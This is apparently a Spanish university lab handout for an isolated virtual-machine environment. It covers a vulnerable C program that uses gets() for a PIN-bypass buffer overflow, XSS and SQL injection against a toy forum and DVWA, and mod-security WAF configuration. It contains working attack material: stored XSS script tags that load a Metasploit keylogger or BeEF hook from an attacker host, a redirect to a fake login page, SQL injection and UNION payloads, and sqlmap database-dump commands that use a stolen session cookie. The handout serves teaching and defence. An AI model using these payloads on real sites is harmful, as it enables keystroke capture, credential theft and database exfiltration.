Desbordamiento de buffer, vulnerabilidades Web y uso de mod-security
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Previo: reto de desbordamiento de buffer

1. Compilar y ejecutar el siguiente cédigo C (en una mdquina GNU/Linux)
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#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char* crear_pin_aleatorio() {
char* pin = (char *) malloc(5);;
srand(time(0)); // Inicializa generador de nos. aleatorios
sprintf (pin, "%04d", rand()?%10000);
return pin;

}

int main(int argc, char *argv[]) {
char pin_secreto[5];
strcpy(pin_secreto, crear_pin_aleatorio());

char pin_leidol[5];
printf ("Introducir PIN: ");
gets(pin_leido); // No comprueba tamano de entrada

if (strcmp(pin_leido, pin_secreto) == 0){
printf ("Acceso concedido, pin correcto\n");

}
else {
printf ("Acceso denegado, pin incorrecto\n");

}

printf ("PISTA:\n pin secreto: %s\n pin leido: %s\n", pin_secreto,pin_leido);

El programa implementa un control de acceso muy simple (y sin sentido) basado en un pin aleatorio de 4 digitos.

El codigo es vulnerable a un desbordamiento del buffer sobre la variable pin_leido derivado del uso de la funcién
gets (O

1.1. Compilacién y ejecucién

Para poder aprovechar el desbordamiento de buffer sobre la variable pin_leido que deja abierto el uso de get(),
es necesario identificar varias cuestiones relativas al modo en que gestiona la pila de ejecucién (Stack) el compilador
GCC, que dependen de la arquitectura de la CPU, la versién concreta de GCC y las opciones por defecto que se usan
en las distintas distribuciones GNU/Linux.

Aspectos a identificar

1. Uso (o0 no) de proteccién de pila

Las versiones recientes de GCC incluyen por defecto el uso de la opcidon -fstack-protector que usa random
canaries para proteger los campos de control del Stack frame y en algunos caso también protege los arrays con
tamano superior a 4 bytes o 8 bytes.

= (a) Sin proteccién de pila
Basta con compilar el codigo sin especificar parametros adicionales.

$ gcc -o desbordador desbordador.c
$ ./desbordador

Nota: para verificar si la proteccién de pila estd habilita basta introducir

¢ una cadena de mds de 6 6 més bytes (si protege buffers a partir de 4 bytes)
e una cadena de més de 9 6 més bytes (si protege buffers a partir de 8 bytes)



y verificar si el programa aborta su ejecucion con un mensaje similar a *** stack smashing detected **x,
indicando que la proteccién de pila esta habilitada.

(b) Con proteccién de pila
En caso de estar habilitada la proteccion de pila sobre el buffer pin_leido, esto impediria realizar el ejemplo

propuesto, por lo que es necesario compilar el cédigo deshabilitando la protecciéon de la pila con la opcién
-fno-stack-protector

$ gcc -fno-stack-protector -o desbordador desbordador.c
$ ./desbordador

2. Alineamiento de datos en pila

1.2.

Dependiendo de la arquitectura de la CPU (32 o 64 bits) y de las opciones por defecto del compilador GCC las
variables locales almacenadas en la pila de ejecucién pueden alinearse de diferentes formas

a)

Sin alineamiento: las variables ocupan exactamente el tamano declarado.

El espacio asignado a la variable pin_secreto empieza justo 5 posiciones méas adelante de la direccién
apuntada por pin_leido.

Alineadas en regiones de 4 bytes (tipico en CPU de 32 bits): el espacio asignado a las variables de la pila
se asigna en multiplos de 4 bytes.

El espacio asignado a la variable pin_secreto empieza justo 8 posiciones méas adelante de la direccion
apuntada por pin_leido.

Alineadas en regiones de 16 bytes (exclusivo de algunas CPU de 64 bits): el espacio asignado a las variables
de la pila se asigna en multiplos de 16 bytes.

El espacio asignado a la variable pin_secreto empieza justo 16 posiciones mas adelante de la direccién
apuntada por pin_leido.

Tarea a realizar

. Verificar la posibilidad de desbordamiento: probar entradas de tamano creciente (4 digitos, 5 digitos, 6 digitos,

etc) para evaluar los escenarios descritos en [I.1]y ”ver que pasa”.

Disenar un esquema que permita aprovechar el desbordamiento de buffer para sobrepasar el control de acceso
basado en pin aleatorio. Comprobar su funcionamiento.

Por defecto el compilador GCC compila el cédigo con la opcién -fstack-protector-all (proteccién de pila
para direccién de retorno y arrays ”grandes”). ;Cémo funciona este mecanismo de proteccién de pila en GCC y
qué sucede cuando se introduce un PIN de gran tamafo (> 5 bytes)?

. Comprobar lo que sucede si se sustituye la llamada a gets(pin_leido) por una llamada a fgets(pin-leido,

5, stdin)

TAREA ENTREGALE (A)

Documentaciéon a entregar: Documentar brevemente las tareas 2, 3 y 4 del ejemplo de desbordamiento de buffer.

2.

2.1.

Entorno de pruebas

Software de virtualizacién VIRTUALBOX

En estas précticas se empleard el software de virtualizacion VIRTUALBOX para simular los equipos GNU/Linux sobre
los que se realizaran las pruebas.

» Pégina principal: http://virtualbox.org

= Mais informacién: http://es.wikipedia.org/wiki/Virtualbox


http://virtualbox.org
http://es.wikipedia.org/wiki/Virtualbox

2.2. Imagenes a utilizar

1. Scripts de instalacién

= para GNU/Linux: ejercicio-modsecurity.sh
alumno@pc: $ sh ejercicio-modsecurity.sh

= para MS windows: |ejercicio-modsecurity.psl

Powershell.exe -executionpolicy bypass -file ejercicio-modsecurity.psl
Notas:
= Se pedird un identificador (sin espacios) para poder reutilizar las versiones personalizadas de las imagenes
creadas (usad por ejemplo el nombre del grupo de précticas o el login LDAP)

= En ambos scripts la variable $DIR_BASE especifica donde se descargaran las imagenes y se creardn las MVs.
Por defecto en GNU/Linux serd en $HOME/SSI2223 y en Windows en C:/SSI2223.

Puede modificarse antes de lanzar los scripts para hacer la instalacién en otro directorio més conveniente
(disco externo, etc)

= Es posible descargar las imdgenes comprimidas manualmente (o intercambiarlas con USB), basta descargar
los archivos con extensién .vdi.zip de http://ccia.esei.uvigo.es/docencia/SSI/2223/practicas/ y
copiarlos en el directorio anterior ($DIR_BASE) para que el script haga el resto.

= Si no lo hacen desde el script anterior, se pueden arrancar las instancias VIRTUALBOX desde el interfaz
grafico de VirtualBOX o desde la linea de comandos con VBoxManage startvm <nombre MV>_<id>

2. Iméagenes descargadas

= parrot_ssi.vdi (1,6 GB comprimida, 5,2 GB descomprimida): Imagen genérica (comin a todas las MVs)
que contiene las herramientas a utilizar

Contiene un sistema Parrot Security OS| (basado en Debian) con herramientas graficas y un entorno gréfico
ligero LXDE (Lighweight X11 Desktop Environment) [LXDE].

= swaplGB.vdi: Disco de 1 GB formateado como espacio de intercambio (SWAP)
3. Usuarios configurados e inicio en el sistema

= Usuarios disponibles

login password
root, purple
usuario usuario
(con privilegios sudo)

= Acceso al entorno grifico una vez logueado (necesario para poder copiar y pegar desde/hacia el anfitrién)
root@base:"# startx

= Habilitar copiar y pegar desde/hacia el anfitrién en el meni Dispositivos -> Portapapeles compartido -> bidir
de la ventana de la maquina virtual.

3. Ejercicio 1: Vulnerabilidades tipicas en aplicaciones web

3.1. Descripcion

En este ejercicio veremos ejemplos simples de vulnerabilidades web.

= Usaremos una aplicacion PHP de muestra muy simplificada que no realiza ningtn tipo de comprobacién de las
entradas que recibe y que permite Inyeccién de SQL (que usaremos para burlar la comprobacién de login y
password) y XSS (Cross Site Scripting).


http://ccia.esei.uvigo.es/docencia/SSI/2223/practicas//ejercicio-modsecurity.sh
http://ccia.esei.uvigo.es/docencia/SSI/2223/practicas//ejercicio-modsecurity.ps1
http://ccia.esei.uvigo.es/docencia/SSI/2223/practicas/
https://www.parrotsec.org/

= También veremos un ejemplo de software real, una versién antigua del software para blogs WordPress, con
vulnerabilidades de inyeccién SQL.

NOTA: NO FUNCIONA SOBRE php7 INSTALADO EN LAS MVs

= Por 1ltimo en la maquina virtual se encuentran instaladas tres aplicaciones web vulnerables para ser usadas con
fines didacticos.

PREVIO (IMPORTANTE) Asegurar que estén iniciados los servidores Apache y MySQL.

= Usando los comandos de control de systemd

modsecurity:”# systemctl status apache2
modsecurity:"# systemctl status mysql

(reiniciar si es necesario)

modsecurity: “# systemctl restart apache2
modsecurity: # systemctl restart mysql

3.2. Aplicaciones vulnerables (Cross Site Scripting: XSS)
3.2.1. Foro ”simple” vulnerable

En la miquina modsecurity hay una implementacién de un foro de juguete en PHP.

s Cédigo fuente en: /var/www/foro

s Cuenta con 2 usuarios creados (ana y pepe) ambos con password ssi
Desde la méquina atacante:

1. Abrir en un navegador WEB la URL http://modsecurity.ssi.net/foro
2. Entrar como ana con password ssi

= Anadir un mensaje con una parte de su titulo o del cuerpo encerrada entre las etiquetas HTML de texto
en negrita: (<b>....</b>)

= Revisar la lista de mensajes para comprobar que las marcas HTML incluidas en las entradas entrada se
copian tal cuales

3. Preparar un ataque de XSS persistente

= Kl usuario ana se loguea con la contrasena ssi y crea otro mensaje nuevo, incluyendo en el texto la siguiente
etiqueta <script> con comandos JavaScript

<script> alert("esto admite XSS") </script>

Desde la maquina victima:

1. Abrir en un navegador WEB la URL http://modsecurity.ssi.net/foro
2. Entrar como pepe con password ssi y acceder al listado de mensajes

3. Comprobar la ejecucién del cédigo del ”ataque” XSS preparado por ana



3.2.2. Carga de librerias Javascript ”maliciosas”

En un escenario real, un atacante (el papel de ana) inyectaria cédigo Javascript mds danino, normalmente con la
finalidad de hacerse con informacién relevante del usuario atacado (el papel de pepe).

» Tipicamente se trataria de "robar” cookies o informacién de la sesién abierta por el usuario atacado desde su
navegador, para almacenarla con la finalidad de suplantar la sesién de un usuario legitimo

s Otra alternativa usual consistiria en incluir cédigo para cargar librerias Javascript maliciosas externas para ha-
cerse con el control del navegador del usuario victima (por ejemplo el Browser Exploitation Framework (BeEF))).

3.2.3. Ejemplo 1: despliegue del keylogger Javascript de Metasploit

1. Preparar la libreria Javascript y el servidor de escucha en la maquina atacante.

Informacién del médulo en http_javascript_keylogger

atacante:"# msfdb start

atacante:"# msfconsole

[msf] >> use auxiliary/server/capture/http_javascript_keylogger

auxiliary(http_javascript_keylogger) >> info
auxiliary(http_javascript_keylogger) >> set DEMO true
auxiliary(http_javascript_keylogger) >> set SRVPORT 8888
auxiliary(http_javascript_keylogger) >> set URIPATH js
auxiliary(http_javascript_keylogger) >> run

El keylogger Javascript quedard disponible en cualquier URL de la forma http://atacante.ssi.net:8888/js/[...].]s,
de modo que cuando se cargue esa libreria Javascript se inicie la captura de pulsaciones de teclado.

2. Desplegar el ataque XSS persistente

= Desde la mdquina atacante acceder al foro vulnerable como ana y crear un nuevo mensaje

Titulo: Un mensaje inocente
Contenido:
blabla <script src="http://atacante.ssi.net:8888/js/jquery.js"></script> blabla

3. Verificar el ataque XSS

= Desde la maquina victima, acceder como pepe a la lista de mensajes para que se active el keyloger.
Al solicitar la carga de la libreria JavaScript se accedera a la URL donde ”escucha” el keyloger de Metasploit

v lo que se teclee en esa péagina serd capturado.

OPCIONAL: Simular la redirecciéon a una péagina de lectura de credenciales

= Importante: es mejor dejar esta prueba para el final, puesto que al ejecutarla impedird comprobar el funcio-
namiento de las pruebas de XSS posteriores.

El médulo Metasploit genera un pagina de login simulada (habilitado con la opcién DEMO=true) en la URL http://atacante.ssi.ne
para probar la redireccién y captura de credenciales (en un escenario real se harfa un ataque de phising creando una
pagina de login falsa imitando la apariencia de la web legitima)

1. Desde atacante acceder al foro como ana y crear un nuevo mensaje


http://beefproject.com/
http://www.rapid7.com/db/modules/auxiliary/server/capture/http_javascript_keylogger

Titulo: Otro mensaje inocente
Contenido:
blabla <script> window.location.replace("http://atacante.ssi.net:8888/js/demo") </script> blabla

2. Desde victima, acceder como pepe a la lista de mensajes para invocar el cédigo Javascript inyectado

Se redireccionara el navegador a una pagina de login falsa creada por Metasploit donde capturara las pulsaciones
de teclado.

3.2.4. Ejemplo 2: (opcional) uso de BeeF

Puede ser necesario recrear la BD de la aplicacién foro.

1. En la maquina atacante, iniciar el demonio beef-xss
atacante: "# beef-xss

[i] GeoIP database is missing

[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.

[*]

[*] You might need to refresh your browser once it opens.

[*]

[*] Web UI: http://127.0.0.1:3000/ui/panel

[*] Hook: <script src="http://<IP>:3000/hook.js"></script>

[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

Pone en marcha beef, exponiendo en http://<IP>:3000/hook. js la libreria JS a cargar en las victimas.
La consola de control de Beef estard disponible en la URL http://127.0.0.1:3000/ui/panel

2. Desde la maquina atacante acceder al foro vulnerable como ana y crear un nuevo mensaje

Titulo: Un mensaje inocente
Contenido:
blabla <script src="http://atacante.ssi.net:3000/hook.js"></script> blabla

3. Desde la maquina victima, acceder como pepe a la lista de mensajes para que se active el hook de Beef.

4. Accediendo a la URL http://127.0.0.1:3000/ui/panel en la miquina atacante se accede a la consola de
control de Beef donde se muestra un nuevo zombie en modsecurity.ssi.net sobre el que se pueden lanzar los
comandos Beef disponibles desde la pestana Current Browser > Commands.

3.3. Aplicaciones vulnerables (Inyeccién SQL)
3.3.1. Inyeccién SQL Foro ”simple” vulnerable
Desde la méquina atacante

= Volver a la pagina de inicial del foro: http://modsecurity.ssi.net/foro
= Veremos como acceder sin disponer de nombre de usuario ni clave en la pagina de login.

Indicar lo siguiente en la casilla usuario:

usuario: ’ or 1=1 ; #
password: <vacio>



Confirmamos cémo se accede la aplicacién como un usuario autorizado (el primero de la base de datos)

En la maquina modsecurity, comprobar cémo seria la consulta SQL que usard esos parametros (ver el cédigo
en /var/www/html/foro/login.php)

modsecurity:~# leafpad /var/www/html/foro/login.php &

3.4. Aplicaciones vulnerables educativas

En la mdquina virtual modsecurity se encuentra instaladas tres aplicaciones vulnerables (2 en PHP y 1 en Java)
disenadas para experimentar con ellas.

Damm Vulnerable Web App disponible en http://modsecurity.ssi.net/DVWA, con login admin y password
password

Implementa ejemplos de XSS e inyecciéon SQL y otras vulnerabilidades en tres niveles de dificultad

El cédigo estéd disponible en el directorio ejercicio-modsecurity de modsecurity.ssi.net.

= En el directorio vulnerabilities hay una carpeta para cada ejercicio/vulnerabilidad
= Para cada ejercicio/vulnerabilidad se incluye su descripcién, pistas y el cédigo PHP que implementa en el
servidor cada ”nivel” de dificultad (en source, ficheros low.php, medium.php, hig.php e impossible.php)
Web: http://www.dvwa.co.uk/

Mutillidae (NOWASP) disponible en http://modsecurity.ssi.net/mutillidae
Similar a DVWA| pero con los ejemplos mas documentos y estructurados de acuerdo al OWASP Top 10.
El c6digo estd disponible en el directorio /var/www/html/mutillidae de modsecurity.ssi.net.
Web: http://sourceforge.net/projects/mutillidae/
WebGoat en http://localhos:8080/WebGoat/ desde la méquina modsecurity (solicita un registro previo en la
aplicacién, proporcionando login y password)
Aplicaciéon web Java vulnerable desarrollada como parte del proyecto OWASP.

Instalacién y arranque: desde el directorio /root/aplicaciones-vulnerables/
modsecurity:/root/aplicaciones-vulnerables# java -jar webgoat-server-8.2.2.jar

Nota: WebGoat sélo estd accesible en local, por lo que debe accederse desde el navegador de la méaquina
modsecurity

Web: https://www.owasp.org/index.php/Category: OWASP_WebGoat_Project

3.4.1. Extraccion de informacion via Inyeccion SQL en DVWA

1. Logearse en la aplicacién DVWA (http://modsecurity.ssi.net/DVWA) con usuario admin y contrasena password
2. Habilitar el nivel de seguridad low desde el botén DVWA Security del ment lateral izquierdo.
3. Acceder al ejemplo de Inyeccién SQL desde el botén SQL Injection del ment lateral izquierdo.

= Se trata de una aplicacién sencilla que muestra la informacién del usuario con el ID indicado en la caja de
busqueda que se pasa al servidor en el Query Param id

= En el fichero /var/www/html/DVWA/vulnerabilities/sqli/source/low.php se puede ver la implementa-
cion correspondiente al nivel de seguridad low

= Dicha implementacién usa directamente el Query Param id para construir la consulta directamente me-
diante la concatenacién de Strings, por lo que es vulnerable a la inyeccién de cédigo SQL.

4. Mostar la informacién de todos los usuarios usando una tautologia para que la consulta sea siempre verdadera.


http://www.dvwa.co.uk/
http://sourceforge.net/projects/mutillidae/
https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

a) Introducir ’ or ’a’=’a [o alternativamente ’ or 1=1 # |

b) Se mostrardn todos los registros de la tabla de usuarios al ser siempre true la condicién del where
5. Extraer informacién de otras tablas de la BD usando consultas UNION SELECT

a) Introducir ’ and 0=1 UNION SELECT table_name,column_name FROM information_schema.columns;#
b) Se mostrardn los pares (tabla,columna) de todas las BD existentes en el servidor MySQL.
¢) En este caso se usa una condicién siempre falsa (0=1) para anular la primera parte de la consulta de modo
que los resultados a mostrar provengan tinicamente de la segunda consulta SELECT inyectada por el atacante.
Se puede probar a introducir ’ and 0=1 UNION SELECT user,passwrod FROM users;#, ;qué resultado se
obtiene?.

CUESTION 1. Indicar cémo es la consulta que finalmente se envia a la BD en el punto 5 y explicar porqué
tiene éxito este ataque y se obtiene como resultado la lista de todos los pares (tabla,columna).

3.4.2. Inyeccién SQL ciega en DVWA

Mas informacion sobre Blind SQL Injection

= https://owasp.org/www-community/attacks/Blind_SQL_Injection

= https://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection
SQLMap: http://sqlmap.org/|y https://github.com/sqlmapproject/sqlmap

1. Logearse en la aplicacion DVWA (http://modsecurity.ssi.net/ DVWA) con usuario admin y contrasena password
(si no se hizo antes)

2. Habilitar el nivel de seguridad low desde el botén DVWA Security del mend lateral izquierdo. (si no se hizo
antes)

3. Acceder al ejemplo de Inyeccion SQL ”ciega” desde el botén SQL Injection (Blind) del meni lateral izquierdo.
= Se trata de una aplicacién similar a la anterior que indica si existe o no el usuario con el ID indicado en la
caja de busqueda que, de nuevo, se pasa al servidor en el Query Param id

= En el fichero /var/www/html/DVWA/vulnerabilities/sqli_blind/source/low.php se puede ver la im-
plementacion correspondiente al nivel de seguridad low

= Como en el caso anterior, se usa directamente el Query Param id para construir la consulta directamente
mediante la concatenacién de Strings, por lo que es vulnerable a la inyeccién de cédigo SQL.

= En este caso no se muestra informacion extraida de la BD por pantalla, simplemente se notifica si existe o no
el usuario. Pero el hecho de permitir inyectar cdigo SQL hace posible extraer informacién con herramientas
como SQLMap.

4. Uso de SQLmap

a) Copiar la cookie de sesién (PHPSESSID) usada por DVWA

» En QupZilla, mend ’Herramientas > Gestor de cookies’

= Copiar el valor de PHPSESSID en la maquina modsecurity.ssi.net y almacenarlo en una variable de
entorno para simplificar su uso en SQLmap.

root@atacante:"# export MI_COOKIE=valor_de_la_cookie

b) Comprobar la posibilidad de Blind SQL injection

root@atacante: "# sqlmap.py --risk=3 \
—--cookie="PHPSESSID=$MI_COOKIE;security=low" \
—--url="http://modsecurity.ssi.net/DVWA/vulnerabilities/sqli_blind/7id=


https://owasp.org/www-community/attacks/Blind_SQL_Injection
https://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection
http://sqlmap.org/
https://github.com/sqlmapproject/sqlmap

(Aceptar los valores por defecto que ofrece sqlmap en las diferentes opciones)

Confirma que es posible la inyeccién sobre el Query param id (empleando la teénica boolean-based o la
time-based)

Indica también la versién del servidor MySQL, del servidor web y del sistema operativo de la victima.
¢) Listar las tablas disponibles en el servidor de BD (opcién --tables)
root@atacante: "# sqlmap.py --risk=3 \
--cookie="PHPSESSID=$MI_COOKIE;security=low" \
--url="http://modsecurity.ssi.net/DVWA/vulnerabilities/sqli_blind/7ic
--tables
(Aceptar los valores por defecto que ofrece sqlmap en las diferentes opciones)
d) Listar las tablas disponibles en la base de datos dvwa (opcién --columns -D dvwa)
root@atacante: "# sqlmap.py --risk=3 \
—--cookie="PHPSESSID=$MI_COOKIE;security=low" \
—-url="http://modsecurity.ssi.net/DVWA/vulnerabilities/sqli_blind/?id=
-—columns -D dvwa
(Aceptar los valores por defecto que ofrece sqlmap en las diferentes opciones)
e) Volcado completo del contenido de la base de datos dvwa (--dump -D dvwa)
root@atacante:"# sqlmap.py --risk=3 \
--cookie="PHPSESSID=$MI_COOKIE;security=low" \
--url="http://modsecurity.ssi.net/DVWA/vulnerabilities/sqli_blind/7id=
--dump -D dvwa
(Aceptar los valores por defecto que ofrece sqlmap en las diferentes opciones)

Nota: SQLmap da la opcién de romper los hashes de las contrasenas empleando fuerza bruta sobre su
propio diccionario de contrasenas frecuentes (/root/herramientas_web/sqlmap-dev/txt/wordlist.zip)
[s6lo vdlido para hashes sin salt y con contrasefias presentes en el diccionario]

3.5. Documentacion a entregar

TAREA ENTREGABLE (B)

» Documentar brevemente las pruebas realizadas sobre el ”foro vulnerable” en los apartados 3.2 (Cross Site Scrip-
ting) y 3.3.1 (Inyeccién SQL)
e Indicar la accién realizada y el resultado obtenido
e Indicar si es posible los fragmentos de cédigo fuente PHP del ”foro” que estan implicados en dichas vulne-

rabilidades.

= Incluir la explicacién de la CUESTION 1

4. Ejercicio 2: Instalacion y experimentacion con mod-security

NOTA: Si es necesario para replicar los ejercicios anteriores, se puede reconstruir la base de datos inicial del foro.

modsecurity:"# cd /var/www/html/foro

modsecurity:/var/www/html/foro# mysql -u root -p (con la contrasefia purple)
mysql > drop database foro;

mysql > create database foro;

mysql > use foro;

mysql > source foro.sql
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4.1.

Descripcién de mod-security

ModSecurity es un WAF (Web Application Firewall) [nttps://en.wikipedia.org/wiki/Web_application_firewall]
disponible originalmente como médulo para el servidor HTTP Apache.

= Resumen mod-security: pdf

= Web: http://www.modsecurity.org/

= Reglas mod-security:

4.2.

¢ OWASP ModSecurity Core Rule Set Project: https://coreruleset.org/ y https://modsecurity.org/
crs/

o Repositorio GitHub con tltima version: https://github.com/SpiderLabs/owasp-modsecurity-crs/
e Atomi ModSecurity Rules: http://www.atomicorp.com/wiki/index.php/Atomic_ModSecurity_Rules
e COMODO Web Application Firewall Rules: https://waf .comodo. com/| (gratuitas con registro previo)

Instalacion y configuraciéon

. Instalar los paquetes debian

modsecurity: # apt-get update
modsecurity:”# apt-get install 1libapache2-mod-security2 # modulo security2 de Apache
modsecurity:"# apt-get install modsecurity-crs # coleccién de reglas Core Rule Set

. Reglas del OWASP ModSecurity Core Rule Set Project

Descarga desde OWASP ModSecurity Core Rule Set Project y http://github.com/SpiderLabs/owasp-modsecurity-
crs (ya descargado al instalar paquete modsecurity-crs)

Revisar la configuracién por defecto de mod-security
modsecurity:"# cat /etc/apache2/mods-available/security2.conf

<IfModule security2_module>
# Default Debian dir for modsecurity’s persistent data
SecDataDir /var/cache/modsecurity

# Include all the *.conf files in /etc/modsecurity.
# Keeping your local configuration in that directory
# will allow for an easy upgrade of THIS file and

# make your life easier

IncludeOptional /etc/modsecurity/*.conf

# Include OWASP ModSecurity CRS rules if installed
IncludeOptional /usr/share/modsecurity-crs/*.load
</IfModule>

modsecurity:~# cat /usr/share/modsecurity-crs/owasp-crs.load

##

## This file loads OWASP CRS’s rules when the package is installed

## It is Included by libapache2-mod-security?2

##

Include /etc/modsecurity/crs/crs-setup.conf

IncludeOptional /etc/modsecurity/crs/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf
Include /usr/share/modsecurity-crs/rules/*.conf

IncludeOptional /etc/modsecurity/crs/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf
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= Configuracion general de reglas CRS en /etc/modsecurity/crs/crs-setup.conf

= Reglas CRS disponibles en /usr/share/modsecurity-crs/rules/*.conf

modsecurity:~# 1ls /usr/share/modsecurity-crs/rules/*.conf
/usr/share/modsecurity-crs/rules/REQUEST-901-INITIALIZATION. conf

/usr/share/modsecurity-crs/rules/REQUEST-912-DOS-PROTECTION. conf
/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION. conf

/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf # <- reglas deteccion XSS
/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI. conf # <- reglas deteccion SQLi

/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION. conf

4. Configurar y habilitar las reglas OWASP a utilizar

modsecurity:~# cd /etc/modsecurity/
modsecurity:/etc/modsecurity/# mv modsecurity.conf-recommended modsecurity.conf

IMPORTANTE

= En la configuracién por defecto de mod-security estd habilitada la notificacién del uso de
mod-security a la web http://status.modsecurity.org/.

= Dado que las maquinas virtuales utilizadas no tienen acceso a la red real, este intento de notifi-
cacién fallido hard que mod-security no se arranque.

= Para anular esta notificacién hay que editar el fichero /etc/modsecurity/modsecurity.conf y
establecer el pardmetro SecStatusEngine a Off [estd al final del fichero]

modsecurity: “# nano /etc/modsecurity/modsecurity.conf

SecStatusEngine 0ff

5. Si no estaba hecho previamente, habilitar el médulo mod-security en Apache y reiniciar el servidor

modsecurity:”“# a2enmod security?2

modsecurity:”# systemctl restart apache2

6. TAREA ENTREGABLE (C)
Repetir las pruebas realizadas sobre el ”foro vulnerable” en los apartados 3.2 (Cross Site Scripting) y 3.3.1
(Inyeccién SQL) y verificar las alertas generadas por mod_security.
= Por defecto mod-security funciona en modo DetectionOnly (ver /etc/modsecurity/modsecurity.conf)
= Ante una peticiéon HTTP o una respuesta HTTP maliciosa se limita a:

e crear una entrada en el log de errores de Apache (/var/log/apache2/error.log) indicando la regla
que ha generado la alerta

e registrar en el fichero /var/log/apache2/modsec_audit.log la peticién HTTP que ha provocado la
alerta

Tareas a realizar para el entregable:
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= Incluir alguna muestra de las entradas de log generadas en /var/log/apache2/error.logy/o /var/log/apache2/moc

= Localizar alguna de las reglas ModSecurity ejecutadas, incluirla en el entregable y explicarla brevemente

[Opcionalmente pueden hacerse también las pruebas con DVWA. No es recomendable hacerlo en el ejemplo de
Blind SQLi porque se generd una cantidad muy grande de alertas].

Nota: Durante la prueba es conveniente ejecutar en un terminal diferente el comando tail -f para poder ver
la generacién de las diferentes alertas ante cada uno de los accesos maliciosos

modsecurity:~# tail -f /var/log/apache2/modsec_audit.log
6
modsecurity:~# tail -f /var/log/apache2/error.log

7. TAREA ENTREGABLE (D)

Configurar mod-security en modo rechazo y repetir las pruebas realizadas sobre el ”foro vulnerable” en los
apartados 3.2 (Cross Site Scripting) y 3.3.1 (Inyeccién SQL) [opcionalmente con DVWA]

= Si es necesario, eliminar y regenerar la base de datos de la aplicacién foro.)

= Editar /etc/modsecurity/modsecurity.conf para establecer el pardmetro SecRuleEngine a On (por de-
fecto estaba como DetectionOnly) y reiniciar Apache.

modsecurity:~# nano /etc/modsecurity/modsecurity.conf

SecRuleEngine On

modsecurity: # systemctl restart apache2

= Importante: En todas las pruebas el acceso a las URL debe hacerse con el nombre de la maquina
modsecurity, no con su direccién IP. (http://modsecurity.ssi.net/foro, etc)

En esta caso, al intentar los accesos maliciosos el servidor devolvera un error 403 y registrara las alertas en los
ficheros de log (/var/log/apache2/error.log y /var/log/apache2/modsec_audit.log)

Nota: Durante la prueba es conveniente ejecutar en un terminal diferente el comando tail -f para poder ver
la generacién de las diferentes alertas ante cada uno de los accesos maliciosos

modsecurity:~# tail -f /var/log/apache2/modsec_audit.log
6
modsecurity:“# tail -f /var/log/apache2/error.log

Tareas a realizar para el entregable:

= Documentar brevemente las pruebas realizadas y los resultados obtenidos, no es necesario incluir la salida de los
logs de ModSecurity

4.3. Documentacion a entregar
Entregable:

» Documentar brevemente la Tarea entregable (A) del ejemplo de desbordamiento de buffer

s Documentar las pruebas con el ”foro vulnerable” de la Tarea entregable (B)
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= Documentar las pruebas realizadas sobre las aplicaciones web vulnerables en los puntos 6 y 7 del ejemplo de
instalacién de Mod-Security (Tarea entregable (C) y Tarea entregable (D)), indicando los resultados
obtenidos.

Fecha de entrega: En MOOVI, hasta 28;7/11,/2022 (individual o parejas)
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